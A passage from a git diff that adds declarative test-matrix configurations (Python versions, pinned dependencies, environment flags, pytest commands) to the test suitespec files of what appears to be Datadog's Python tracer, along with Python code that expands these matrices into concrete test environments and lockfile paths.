'3.10', '3.11', '3.12', '3.13'] + dependencies: + - litellm==1.65.4 + - openai==1.68.2 + axes: + compatibility: + litellm-1-65-4-openai-1-68-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - litellm==1.80.16 + - openai>=2.8.0 + axes: + compatibility: + litellm-1-80-16-openai-gte-2-8-0: {} llmobs: paths: - '@bootstrap' @@ -149,6 +287,47 @@ suites: - tests/cassettes/tests.llmobs.* snapshot: true venvs_per_job: 1 + matrix: + dependencies: + - pytest-xdist + cases: + - python: ['3.9'] + dependencies: + - vcrpy + - openai + - google-cloud-aiplatform + - boto3 + - pytest-asyncio==0.21.1 + - langchain + - pandas + - openfeature-sdk>=0.8,<1 + axes: + compatibility: + vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-: {} + command: pytest -n auto --dist=worksteal {cmdargs} tests/llmobs + - python: ['3.10', '3.11', '3.12', '3.13'] + dependencies: + - vcrpy + - openai + - google-cloud-aiplatform + - boto3 + - pytest-asyncio==0.21.1 + - langchain + - pandas + - openfeature-sdk>=0.8,<1 + - deepeval + - pydantic-evals>=1.31 + axes: + compatibility: + vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3--2: {} + command: pytest -n auto --dist=worksteal {cmdargs} tests/llmobs + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - pydantic~=1.10 + axes: + compatibility: + pydantic-1-10: {} + command: pytest -n auto --dist=worksteal {cmdargs} tests/llmobs/test_utils.py mcp: paths: - '@bootstrap' @@ -161,6 +340,15 @@ suites: - tests/snapshots/tests.contrib.mcp.* snapshot: true venvs_per_job: 5 + matrix: + command: pytest {cmdargs} tests/contrib/mcp + dependencies: + - pytest-asyncio + python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + mcp: + mcp-1-10-0: mcp~=1.10.0 + mcp-latest: mcp mistralai: parallelism: 1 paths: @@ -174,6 +362,15 @@ suites: - tests/cassettes/mistral/* - tests/snapshots/tests.contrib.mistralai.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/mistralai + dependencies: + - pytest-asyncio + python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + mistralai: + mistralai-2-0-0: mistralai~=2.0.0 + mistralai-latest: mistralai openai: venvs_per_job: 1 paths: @@ -188,6 +385,35 @@ suites: - tests/snapshots/tests.contrib.openai.* pattern: ^openai$ snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/openai + dependencies: + - vcrpy + - urllib3~=1.26 + - pytest-asyncio==0.21.1 + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11'] + dependencies: + - pillow==9.5.0 + - httpx==0.27.2 + axes: + openai-embeddings-datalib: + openai-embeddings-datalib-1-0-0: openai[embeddings,datalib]==1.0.0 + openai-embeddings-datalib-1-30-1: openai[embeddings,datalib]==1.30.1 + compatibility: + openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - pillow + axes: + openai: + openai-latest: openai + openai-lt-2-0-0: openai<2.0.0 + openai-1-76-2: openai~=1.76.2 + openai-1-66-0: openai==1.66.0 + compatibility: + openai-pillow-latest: {} langgraph: paths: - '@bootstrap' @@ -200,6 +426,30 @@ suites: - tests/contrib/langgraph/* snapshot: true venvs_per_job: 4 + matrix: + command: pytest {cmdargs} tests/contrib/langgraph + dependencies: + - pytest-asyncio + - langchain_openai + - langchain_core + - langchain + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + axes: + langgraph: &id001 + langgraph-0-2-23: langgraph==0.2.23 + langgraph-0-3-21: langgraph==0.3.21 + langgraph-0-3-22: langgraph==0.3.22 + langgraph-latest: langgraph + compatibility: + variant-1: {} + - python: ['3.14'] + dependencies: + - ormsgpack>=1.11.0 + axes: + langgraph: *id001 + compatibility: + ormsgpack-gte-1-11-0: {} crewai: retry: 2 parallelism: 3 @@ -214,6 +464,17 @@ suites: - tests/contrib/crewai/* - tests/snapshots/tests.contrib.crewai.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/crewai + dependencies: + - pytest-asyncio + - openai + - vcrpy==7.0.0 + python: ['3.10', '3.11', '3.12'] + axes: + crewai: + crewai-0-102-0: crewai~=0.102.0 + crewai-latest: crewai openai_agents: paths: - '@bootstrap' @@ -226,6 +487,37 @@ suites: - tests/snapshots/tests.contrib.openai_agents.* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/openai_agents + dependencies: + - vcrpy + - pytest-asyncio + - openai + cases: + - python: ['3.9'] + dependencies: + - urllib3<2 + - eval-type-backport + axes: + openai-agents: + openai-agents-0-0-0: openai-agents~=0.0.0 + openai-agents-0-8-0: openai-agents~=0.8.0 + compatibility: + openai-agents-urllib3-lt-2-eval-type-backport-latest: {} + - python: ['3.10', '3.11', '3.12', '3.13'] + axes: + openai-agents: + openai-agents-0-0-0: openai-agents~=0.0.0 + openai-agents-0-8-0: openai-agents~=0.8.0 + compatibility: + openai-agents: {} + - python: ['3.10', '3.11', '3.12', '3.13'] + axes: + openai-agents: + openai-agents-0-14-0: openai-agents~=0.14.0 + openai-agents-latest: openai-agents + compatibility: + openai-agents-2: {} pydantic_ai: paths: - '@bootstrap' @@ -238,6 +530,35 @@ suites: - tests/snapshots/tests.contrib.pydantic_ai.* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/pydantic_ai + dependencies: + - pytest-asyncio + - vcrpy==7.0.0 + - typing_extensions + cases: + - python: ['3.9'] + dependencies: + - pydantic-ai-slim[openai]==0.8.1 + - pydantic==2.12.0a1 + axes: + compatibility: + pydantic-ai-slim-openai-0-8-1-pydantic-2-12-0a1: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - pydantic==2.12.0a1 + axes: + pydantic-ai-slim-openai: + pydantic-ai-slim-openai-0-8-1: pydantic-ai-slim[openai]==0.8.1 + pydantic-ai-slim-openai-1-0-0: pydantic-ai-slim[openai]==1.0.0 + compatibility: + pydantic-ai-slim-openai-pydantic-2-12-0a1: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - pydantic-ai-slim[openai]==1.63.0 + axes: + compatibility: + pydantic-ai-slim-openai-1-63-0: {} vllm: venvs_per_job: 1 paths: @@ -252,3 +573,11 @@ suites: gpu: true snapshot: true skip: true # Temporarily disabled + matrix: + command: pytest {cmdargs} tests/contrib/vllm + dependencies: + - pytest-asyncio==0.21.1 + - pytest-randomly + - torch + - vllm>=0.10.2 + python: ['3.10', '3.11', '3.12', '3.13'] diff --git a/tests/profiling/suitespec.yml b/tests/profiling/suitespec.yml index f02cd65ade3..558f13838be 100644 --- a/tests/profiling/suitespec.yml +++ b/tests/profiling/suitespec.yml @@ -19,6 +19,64 @@ suites: - tests/profiling/* pattern: profile$ retry: 2 + matrix: + command: python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable --ignore='tests/profiling/collector/test_memalloc.py' --ignore='tests/profiling/test_memalloc_fork.py' {cmdargs} tests/profiling + dependencies: + - gunicorn + - jsonschema + - zstandard + - pytest-cpp + - pytest-benchmark + - py-cpuinfo~=8.0.0 + - pytest-asyncio==0.21.1 + - pytest-randomly + - numpy + - uwsgi + env: + CPUCOUNT: '12' + DD_PROFILING_ENABLE_ASSERTS: '1' + DD_PROFILING_MEMALLOC_ASSERT_ON_REENTRY: '1' + PYTHONWARNINGS: ignore::UserWarning:gevent.events + cases: + - python: ['3.9', '3.10'] + axes: + protobuf: + protobuf-3-19-0: protobuf==3.19.0 + protobuf-latest: protobuf + compatibility: + protobuf: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - gunicorn[gevent] + - gevent + - protobuf + axes: + compatibility: + gunicorn-gevent-latest-gevent-latest-protobuf-latest: {} + env: + DD_PROFILE_TEST_GEVENT: '1' + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - uvloop + - protobuf + axes: + compatibility: + uvloop-latest-protobuf-latest: {} + env: + USE_UVLOOP: '1' + - python: ['3.11', '3.12', '3.13'] + axes: + protobuf: + protobuf-4-22-0: protobuf==4.22.0 + protobuf-latest: protobuf + compatibility: + protobuf-2: {} + - python: ['3.14'] + dependencies: + - protobuf + axes: + compatibility: + protobuf-latest: {} profile-uwsgi: env: DD_TRACE_AGENT_URL: '' @@ -32,6 +90,26 @@ suites: - tests/profiling/* pattern: profile-uwsgi retry: 2 + matrix: + command: python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable {cmdargs} tests/profiling/test_uwsgi.py + dependencies: + - gunicorn + - jsonschema + - zstandard + - pytest-cpp + - pytest-benchmark + - py-cpuinfo~=8.0.0 + - pytest-asyncio==0.21.1 + - pytest-randomly + - numpy + - uwsgi<2.0.30 + - protobuf + env: + CPUCOUNT: '12' + DD_PROFILING_ENABLE_ASSERTS: '1' + DD_PROFILING_MEMALLOC_ASSERT_ON_REENTRY: '1' + PYTHONWARNINGS: ignore::UserWarning:gevent.events + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] profile-memalloc: env: DD_TRACE_AGENT_URL: '' @@ -45,3 +123,31 @@ suites: - tests/profiling/* pattern: profile-memalloc retry: 2 + matrix: + command: python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable {cmdargs} tests/profiling/collector/test_memalloc.py tests/profiling/test_memalloc_fork.py + dependencies: + - gunicorn + - jsonschema + - zstandard + - pytest-cpp + - pytest-benchmark + - py-cpuinfo~=8.0.0 + - pytest-asyncio==0.21.1 + - pytest-randomly + - numpy + - protobuf + env: + CPUCOUNT: '12' + DD_PROFILING_ENABLE_ASSERTS: '1' + DD_PROFILING_MEMALLOC_ASSERT_ON_REENTRY: '1' + PYTHONWARNINGS: ignore::UserWarning:gevent.events + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + runs: + - env: + PYTHONMALLOC: malloc + - env: + PYTHONMALLOC: pymalloc + - env: + PYTHONMALLOC: malloc_debug + - env: + PYTHONMALLOC: pymalloc_debug diff --git a/tests/suitespec.py b/tests/suitespec.py index cbfa9a7e7af..1476df44efd 100644 --- a/tests/suitespec.py +++ b/tests/suitespec.py @@ -1,5 +1,16 @@ +from __future__ import annotations + +from collections.abc import Mapping +from collections.abc import Sequence +from dataclasses import dataclass +from dataclasses import replace from functools import cache +from itertools import product +import os from pathlib import Path +import re +from typing import Any +from typing import TypeVar from ruamel.yaml import YAML # noqa @@ -7,10 +18,24 @@ TESTS = Path(__file__).parents[1] / "tests" BENCHMARKS = Path(__file__).parents[1] / "benchmarks" SEARCH_ROOTS = ((TESTS, ""), (BENCHMARKS, "benchmarks")) +LOCK_ROOT = Path(".uv") + +_REQUIREMENT_NAME = re.compile(r"^([A-Za-z0-9_.-]+)(\[[A-Za-z0-9_., -]+\])?") +_SLUG_PART = re.compile(r"[^a-z0-9]+") +_SPEC_FIELDS = { + "command", + "dependencies", + "dependency_groups", + "env", + "name", + "platform", + "runs", +} +_T = TypeVar("_T") def _collect_suitespecs() -> dict: - suitespec = {"components": {}, "suites": {}} + suitespec = {"components": {}, "suites": {}, "matrix_defaults": {}} specfiles = [] for root, ns_prefix in SEARCH_ROOTS: @@ -83,3 +108,397 @@ def get_suites() -> dict[str, dict]: def get_components() -> dict[str, list[str]]: """Get the list of jobs.""" return SUITESPEC.get("components", {}) + + +def get_matrix_defaults() -> dict: + """Get defaults inherited by declarative test matrices.""" + return SUITESPEC.get("matrix_defaults", {}) + + +def _slug(value: str) -> str: + return _SLUG_PART.sub("-", value.lower()).strip("-") + + +def lockfile_path(suite: str, environment_id: str) -> Path: + """Return the repository-relative lock path for one concrete environment.""" + return LOCK_ROOT / f"{_slug(suite)}--{environment_id}.txt" + + +@dataclass(frozen=True) +class TestRun: + """One command and environment executed in a test environment.""" + + command: str + env: tuple[tuple[str, str], ...] = () + + @property + def environment(self) -> dict[str, str]: + return dict(self.env) + + +@dataclass(frozen=True) +class TestEnvironment: + """A concrete test dependency environment.""" + + id: str + suite: str + name: str + python: str + platform: str = "linux" + direct_dependencies: tuple[str, ...] = () + dependency_groups: tuple[str, ...] = () + runs: tuple[TestRun, ...] = () + env: tuple[tuple[str, str], ...] = () + services: tuple[str, ...] = () + snapshot: bool = False + retry: int | None = None + timeout: int | None = None + parallelism: int | None = None + environments_per_job: int | None = None + gpu: bool = False + install_project: bool = True + lockfile: Path | None = None + ordinal: int = 0 + + @property + def environment(self) -> dict[str, str]: + return dict(self.env) + + @property + def command(self) -> str: + return self.runs[0].command if self.runs else "" + + @property + def display_name(self) -> str: + packages = self._display_dependencies() + if packages: + return f"Python {self.python}, {', '.join(packages)}" + return f"Python {self.python}" + + def _display_dependencies(self) -> list[str]: + requirements = {} + for requirement in self.direct_dependencies: + match = _REQUIREMENT_NAME.match(requirement) + if match: + requirements[match.group(1).lower().replace("_", "-")] = requirement + + aliases = { + "mysql": ("mysqlclient", "mysql-connector-python"), + "psycopg2": ("psycopg2-binary",), + "redis": ("redis-py",), + } + selected = [] + for name in self.name.split(":"): + normalized = name.lower().replace("_", "-") + for candidate in (normalized, *aliases.get(normalized, ())): + if selected_requirement := requirements.get(candidate): + selected.append(selected_requirement) + break + return selected + + +class MatrixError(ValueError): + """Raised when a test matrix declaration is invalid.""" + + +def _string_tuple(value: object, field: str) -> tuple[str, ...]: + if value is None: + return () + if isinstance(value, str): + return (value,) + if isinstance(value, Sequence): + return tuple(str(item) for item in value) + raise MatrixError(f"{field} must be a string or list") + + +def _mapping(value: object, field: str) -> Mapping[str, Any]: + if value is None: + return {} + if isinstance(value, Mapping): + return value + raise MatrixError(f"{field} must be a mapping") + + +def _requirement_key(requirement: str) -> str: + match = _REQUIREMENT_NAME.match(requirement) + if match is None: + raise MatrixError(f"invalid dependency requirement: {requirement}") + name, extras = match.groups() + return f"{name}{extras or ''}".lower().replace("_", "-") + + +def _merge_dependencies(*groups: tuple[str, ...]) -> tuple[str, ...]: + merged: dict[str, str] = {} + for group in groups: + for requirement in group: + merged[_requirement_key(requirement)] = requirement + return tuple(merged.values()) + + +def _merge_unique(*groups: tuple[_T, ...]) -> tuple[_T, ...]: + return tuple(dict.fromkeys(item for group in groups for item in group)) + + +def _option_spec(value: object, field: str) -> Mapping[str, Any]: + if isinstance(value, Mapping): + return value + return {"dependencies": _string_tuple(value, field)} + + +def _matches(selector: Mapping[str, Any], selection: Mapping[str, str], axes: set[str]) -> bool: + for key, expected in selector.items(): + if key not in axes and key != "python": + raise MatrixError(f"unknown matrix selector: {key}") + values = _string_tuple(expected, f"selector {key}") + if selection.get(key) not in values: + return False + return True + + +def _merge_specs(*specs: Mapping[str, Any]) -> dict[str, Any]: + merged: dict[str, Any] = {} + dependencies: tuple[str, ...] = () + dependency_groups: tuple[str, ...] = () + environment: dict[str, str] = {} + for spec in specs: + dependencies = _merge_dependencies( + dependencies, + _string_tuple(spec.get("dependencies"), "dependencies"), + ) + dependency_groups = _merge_unique( + dependency_groups, + _string_tuple(spec.get("dependency_groups"), "dependency_groups"), + ) + environment.update({str(key): str(value) for key, value in _mapping(spec.get("env"), "env").items()}) + for field in ("command", "name", "platform", "runs"): + if field in spec: + merged[field] = spec[field] + merged["dependencies"] = dependencies + merged["dependency_groups"] = dependency_groups + merged["env"] = environment + return merged + + +def _merge_case(outer: Mapping[str, Any], case: Mapping[str, Any]) -> dict[str, Any]: + merged = {key: value for key, value in outer.items() if key != "cases"} + for field in ("dependencies", "dependency_groups"): + if field in case: + merged[field] = (*_string_tuple(merged.get(field), field), *_string_tuple(case[field], field)) + for field in ("env", "nightly_env"): + if field in case: + merged[field] = {**_mapping(merged.get(field), field), **_mapping(case[field], field)} + merged.update( + { + key: value + for key, value in case.items() + if key not in {"dependencies", "dependency_groups", "env", "nightly_env"} + } + ) + return merged + + +def _runs(spec: Mapping[str, Any]) -> tuple[TestRun, ...]: + base_environment = {str(key): str(value) for key, value in _mapping(spec.get("env"), "env").items()} + command = str(spec.get("command", "")) + run_specs = spec.get("runs") + if run_specs is None: + if not command: + raise MatrixError("each matrix environment needs a command") + return (TestRun(command=command, env=tuple(sorted(base_environment.items()))),) + if isinstance(run_specs, (str, bytes)) or not isinstance(run_specs, Sequence): + raise MatrixError("runs must be a list") + + runs = [] + for run_spec in run_specs: + run = _mapping(run_spec, "run") + run_environment = dict(base_environment) + run_environment.update({str(key): str(value) for key, value in _mapping(run.get("env"), "run env").items()}) + run_command = str(run.get("command", command)) + if not run_command: + raise MatrixError("each matrix run needs a command") + runs.append(TestRun(command=run_command, env=tuple(sorted(run_environment.items())))) + return tuple(runs) + + +def _environment_id(name: str, python: str, groups: tuple[str, ...]) -> str: + parts = [_slug(name), f"py{python.replace('.', '')}", *(_slug(group) for group in groups)] + return "-".join(part for part in parts if part) + + +def _build_environment( + suite: str, + suite_config: Mapping[str, Any], + base_spec: Mapping[str, Any], + python: str, + selections: Sequence[tuple[str, str, Mapping[str, Any]]], + override: Mapping[str, Any], + ordinal: int, +) -> TestEnvironment: + selected_specs = tuple(option for _, _, option in selections) + spec = _merge_specs(base_spec, *selected_specs, override) + selected_groups = tuple( + str(option.get("group", choice)) for _, choice, option in selections if option.get("group", choice) is not None + ) + dependency_groups = _merge_unique(spec["dependency_groups"], selected_groups) + name = str(spec.get("name", suite.rsplit("::", 1)[-1])) + environment_id = _environment_id(name, python, selected_groups) + return TestEnvironment( + id=environment_id, + suite=suite, + name=name, + python=python, + platform=str(spec.get("platform", "linux")), + direct_dependencies=spec["dependencies"], + dependency_groups=dependency_groups, + runs=_runs(spec), + env=tuple( + sorted((str(key), str(value)) for key, value in _mapping(suite_config.get("env"), "suite env").items()) + ), + services=_string_tuple(suite_config.get("services"), "services"), + snapshot=bool(suite_config.get("snapshot", False)), + retry=suite_config.get("retry"), + timeout=suite_config.get("timeout"), + parallelism=suite_config.get("parallelism"), + environments_per_job=suite_config.get("venvs_per_job"), + gpu=bool(suite_config.get("gpu", False)), + install_project=bool(suite_config.get("install_project", True)), + lockfile=lockfile_path(suite, environment_id), + ordinal=ordinal, + ) + + +def _add_environment(environments: dict[str, TestEnvironment], environment: TestEnvironment) -> None: + existing = environments.get(environment.id) + if existing is None: + environments[environment.id] = environment + return + comparable = replace(existing, runs=environment.runs, ordinal=environment.ordinal) + if comparable != environment: + raise MatrixError(f"semantic environment ID collision: {environment.id}") + environments[environment.id] = replace(existing, runs=_merge_unique(existing.runs, environment.runs)) + + +def expand_suite_matrix( + suite: str, + suite_config: Mapping[str, Any], + defaults: Mapping[str, Any] | None = None, + *, + nightly: bool | None = None, +) -> tuple[TestEnvironment, ...]: + """Expand one compact suite matrix into concrete test environments.""" + matrix = _mapping(suite_config.get("matrix"), f"matrix for {suite}") + if not matrix: + return () + cases = matrix.get("cases") + if cases is not None: + if isinstance(cases, (str, bytes)) or not isinstance(cases, Sequence): + raise MatrixError("cases must be a list") + case_environments: dict[str, TestEnvironment] = {} + ordinal = 0 + for raw_case in cases: + case = _mapping(raw_case, "matrix case") + case_config = dict(suite_config) + case_config["matrix"] = _merge_case(matrix, case) + for environment in expand_suite_matrix(suite, case_config, defaults, nightly=nightly): + _add_environment(case_environments, replace(environment, ordinal=ordinal)) + ordinal += 1 + return tuple(case_environments.values()) + defaults = defaults or {} + nightly = os.environ.get("NIGHTLY_BUILD") == "true" if nightly is None else nightly + nightly_spec: Mapping[str, Any] = {} + if nightly: + nightly_spec = { + "env": { + **_mapping(defaults.get("nightly_env"), "nightly_env"), + **_mapping(matrix.get("nightly_env"), "matrix nightly_env"), + } + } + base_spec = _merge_specs(defaults, matrix, nightly_spec) + + python_versions = _string_tuple(matrix.get("python", defaults.get("python")), "python") + if not python_versions: + raise MatrixError(f"matrix for {suite} does not declare any Python versions") + axes = _mapping(matrix.get("axes"), "axes") + axis_names = tuple(str(name) for name in axes) + axis_options: list[tuple[tuple[str, Mapping[str, Any]], ...]] = [] + for axis_name in axis_names: + options = _mapping(axes[axis_name], f"axis {axis_name}") + if not options: + raise MatrixError(f"axis {axis_name} does not declare any options") + axis_options.append( + tuple( + (str(choice), _option_spec(option, f"axis {axis_name} option {choice}")) + for choice, option in options.items() + ) + ) + + excludes = matrix.get("exclude", ()) + if isinstance(excludes, (str, bytes)) or not isinstance(excludes, Sequence): + raise MatrixError("exclude must be a list") + + environments: dict[str, TestEnvironment] = {} + ordinal = 0 + combinations = product(*axis_options) if axis_options else ((),) + for python in python_versions: + for combination in combinations: + selection = {"python": python, **{axis: choice for axis, (choice, _) in zip(axis_names, combination)}} + if any( + python not in _string_tuple(option.get("python"), "option python") + for _, option in combination + if option.get("python") is not None + ): + continue + if any(_matches(_mapping(item, "exclude entry"), selection, set(axis_names)) for item in excludes): + continue + product_selections = tuple( + (axis, choice, option) for axis, (choice, option) in zip(axis_names, combination) + ) + environment = _build_environment(suite, suite_config, base_spec, python, product_selections, {}, ordinal) + _add_environment(environments, environment) + ordinal += 1 + combinations = product(*axis_options) if axis_options else ((),) + + includes = matrix.get("include", ()) + if isinstance(includes, (str, bytes)) or not isinstance(includes, Sequence): + raise MatrixError("include must be a list") + for raw_include in includes: + include = _mapping(raw_include, "include entry") + python = str(include.get("python", "")) + if not python: + raise MatrixError("include entries must select a Python version") + include_selections = [] + for axis_name in axis_names: + choice = str(include.get(axis_name, "")) + if not choice: + raise MatrixError(f"include entry must select axis {axis_name}") + options = _mapping(axes[axis_name], f"axis {axis_name}") + if choice not in options: + raise MatrixError(f"unknown {axis_name} option: {choice}") + include_selections.append( + (axis_name, choice, _option_spec(options[choice], f"axis {axis_name} option {choice}")) + ) + override = {key: value for key, value in include.items() if key in _SPEC_FIELDS} + environment = _build_environment(suite, suite_config, base_spec, python, include_selections, override, ordinal) + _add_environment(environments, environment) + ordinal += 1 + + return tuple(environments.values()) + + +def expand_declared_matrices( + suites: Mapping[str, Mapping[str, Any]], + defaults: Mapping[str, Any] | None = None, + *, + nightly: bool | None = None, +) -> dict[str, tuple[TestEnvironment, ...]]: + """Expand every suite that declares a test matrix.""" + return { + suite: expand_suite_matrix(suite, config, defaults, nightly=nightly) + for suite, config in suites.items() + if config.get("matrix") + } + + +def get_test_environments(*, nightly: bool | None = None) -> dict[str, tuple[TestEnvironment, ...]]: + """Return every concrete test environment declared by suitespec.""" + return expand_declared_matrices(get_suites(), get_matrix_defaults(), nightly=nightly) diff --git a/tests/suitespec.yml b/tests/suitespec.yml index cda3f55cfd5..eb48724f9c1 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -1,19 +1,45 @@ --- +matrix_defaults: + dependencies: + - mock + - pytest + - pytest-mock + - coverage + - pytest-cov + - opentracing + - hypothesis<6.45.1 + dependency_groups: + - test-common + env: + _DD_CIVISIBILITY_USE_CI_CONTEXT_PROVIDER: '1' + DD_TESTING_RAISE: '1' + DD_REMOTE_CONFIGURATION_ENABLED: 'false' + DD_INJECTION_ENABLED: '1' + DD_INJECT_FORCE: '1' + DD_PATCH_MODULES: 'unittest:false' + CMAKE_BUILD_PARALLEL_LEVEL: '12' + CARGO_BUILD_JOBS: '12' + DD_TRACE_COMPUTE_STATS: 'false' + DD_CODE_ORIGIN_FOR_SPANS_ENABLED: 'false' + DD_CIVISIBILITY_BACKEND_API_TIMEOUT_MILLIS: '2000' + _DD_CIVISIBILITY_OUT_OF_SESSION_RETRIES_ENABLED: '1' + nightly_env: + DD_CIVISIBILITY_CODE_COVERAGE_REPORT_UPLOAD_ENABLED: '1' components: $harness: - docker/* - docker-compose.base.yml - docker-compose.podman.yml - docker-compose.yml - - riotfile.py - - .riot/requirements/* - scripts/ddtest + - scripts/test-env - pyproject.toml - tests/conftest.py - tests/utils.py - tests/__init__.py - tests/suitespec.yml - tests/suitespec.py + - .uv/*.txt - tests/meta/* - tests/smoke_test.py - tests/subprocesstest.py @@ -151,6 +177,51 @@ components: vendor: - ddtrace/vendor/* suites: + build_docs: + type: helper + paths: + - docs/* + - scripts/docs/* + - benchmarks/README.rst + - .readthedocs.yml + matrix: + python: ['3.10'] + command: scripts/docs/build.sh + dependencies: + - reno~=3.5.0 + - sphinx~=4.0 + - sphinxcontrib-applehelp<1.0.8 + - sphinxcontrib-devhelp<1.0.6 + - sphinxcontrib-htmlhelp<2.0.5 + - sphinxcontrib-serializinghtml<1.1.10 + - sphinxcontrib-qthelp<1.0.7 + - sphinxcontrib-spelling==7.7.0 + - PyEnchant==3.2.2 + - sphinx-copybutton==0.5.1 + - furo<=2023.05.20 + - standard-imghdr + env: + DD_TRACE_ENABLED: 'false' + smoke_test: + type: helper + paths: + - '@core' + - tests/smoke_test.py + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: python tests/smoke_test.py {cmdargs} + reno: + type: helper + install_project: false + paths: + - releasenotes/* + - docs/releasenotes.rst + matrix: + python: ['3'] + command: reno {cmdargs} + dependencies: + - reno + - PyYAML>=6.0.1 crashtracker: venvs_per_job: 6 paths: @@ -158,6 +229,25 @@ suites: - '@core' - '@profiling' snapshot: true + matrix: + command: pytest -v {cmdargs} tests/crashtracker/ + dependencies: + - pytest-randomly + - python-json-logger==2.0.7 + - pyfakefs + - pytest-asyncio~=0.23.7 + - setuptools<82 + env: + DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' + DD_CIVISIBILITY_ITR_ENABLED: '0' + cases: + - python: ['3.9', '3.10', '3.11'] + - python: ['3.12', '3.13', '3.14'] + dependencies: + - zope-event==5.0 + - zope-interface==7.2 + env: + PYTHONWARNINGS: 'ignore:This process:DeprecationWarning::' conftest: parallelism: 1 paths: @@ -165,6 +255,12 @@ suites: - '**/conftest.py' pattern: meta-testing snapshot: false + matrix: + name: meta-testing + python: ['3.10'] + command: pytest {cmdargs} tests/meta + env: + DD_CIVISIBILITY_FLAKY_RETRY_ENABLED: '0' ddtracerun: parallelism: 3 paths: @@ -175,6 +271,13 @@ suites: - tests/ddtrace_run.py services: - redis + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} --no-cov tests/commands/test_runner.py + dependencies: + - redis + - gevent + - pytest-randomly detect_global_locks: venvs_per_job: 1 paths: @@ -184,6 +287,20 @@ suites: - 'pyproject.toml' - 'src/native/*' - 'scripts/global-lock-detection.py' + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: python -X importtime scripts/global-lock-detection.py + env: + DD_DYNAMIC_INSTRUMENTATION_ENABLED: '1' + DD_CODE_ORIGIN_FOR_SPANS_ENABLED: '1' + DD_EXCEPTION_REPLAY_ENABLED: '1' + DD_APPSEC_ENABLED: '1' + DD_APPSEC_SCA_ENABLED: '1' + DD_IAST_ENABLED: '1' + DD_RUNTIME_METRICS_ENABLED: '1' + DD_PROFILING_ENABLED: '1' + DD_PROFILING_LOCK_ENABLED: '0' + DD_REMOTE_CONFIGURATION_ENABLED: '1' integration_agent: parallelism: 2 paths: @@ -195,6 +312,25 @@ suites: - tests/integration/* - tests/snapshots/tests.integration.* pattern: integration-latest* + matrix: + dependencies: + - msgpack + - pytest-randomly + env: + AGENT_VERSION: latest + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: integration-latest + axes: + compatibility: + integration-latest: {} + command: pytest -vv --no-cov --ignore-glob='*civisibility*' {cmdargs} tests/integration/ + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: integration-latest-civisibility + axes: + compatibility: + integration-latest-civisibility: {} + command: pytest --no-cov {cmdargs} tests/integration/test_integration_civisibility.py integration_testagent: venvs_per_job: 3 paths: @@ -207,11 +343,40 @@ suites: - tests/snapshots/tests.integration.* pattern: integration-snapshot* snapshot: true + matrix: + dependencies: + - msgpack + - pytest-randomly + env: + AGENT_VERSION: testagent + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: integration-snapshot + axes: + compatibility: + integration-snapshot: {} + command: pytest -vv --no-cov --ignore-glob='*civisibility*' {cmdargs} tests/integration/ + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: integration-snapshot-civisibility + axes: + compatibility: + integration-snapshot-civisibility: {} + command: pytest --no-cov {cmdargs} tests/integration/test_integration_civisibility.py integration_registry: parallelism: 1 paths: - '@contrib' - scripts/integration_registry/* + matrix: + command: pytest {cmdargs} tests/contrib/integration_registry + dependencies: + - pip==26.2.1 + - ruamel.yaml==0.18.6 + - pytest-randomly + - pytest-asyncio==0.23.7 + - PyYAML + - jsonschema + python: ['3.13'] internal: retry: 2 venvs_per_job: 2 @@ -228,6 +393,41 @@ suites: - tests/cache/* - tests/snapshots/tests.internal.* snapshot: true + matrix: + command: pytest -v -n auto --dist=worksteal {cmdargs} tests/internal/ + dependencies: + - httpretty + - gevent + - pytest-randomly + - pytest-xdist + - python-json-logger==2.0.7 + - pyfakefs + - pytest-benchmark + - uwsgi + - PyYAML + - cloudpickle + env: + DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' + DD_CIVISIBILITY_ITR_ENABLED: '0' + axes: + wrapt: + wrapt-latest: + dependencies: wrapt + wrapt-1: + dependencies: wrapt<2.0.0 + cases: + - python: ['3.9', '3.10', '3.11'] + dependencies: + - pytest-asyncio~=0.23.7 + - setuptools<82 + - python: ['3.12', '3.13', '3.14'] + dependencies: + - pytest-asyncio~=0.23.7 + - setuptools<82 + - zope-event==5.0 + - zope-interface==7.2 + env: + PYTHONWARNINGS: 'ignore:This process:DeprecationWarning::' wrapping: venvs_per_job: 6 paths: @@ -236,6 +436,18 @@ suites: - ddtrace/internal/wrapping/* - ddtrace/_trace/tracer.py - tests/wrapping/* + 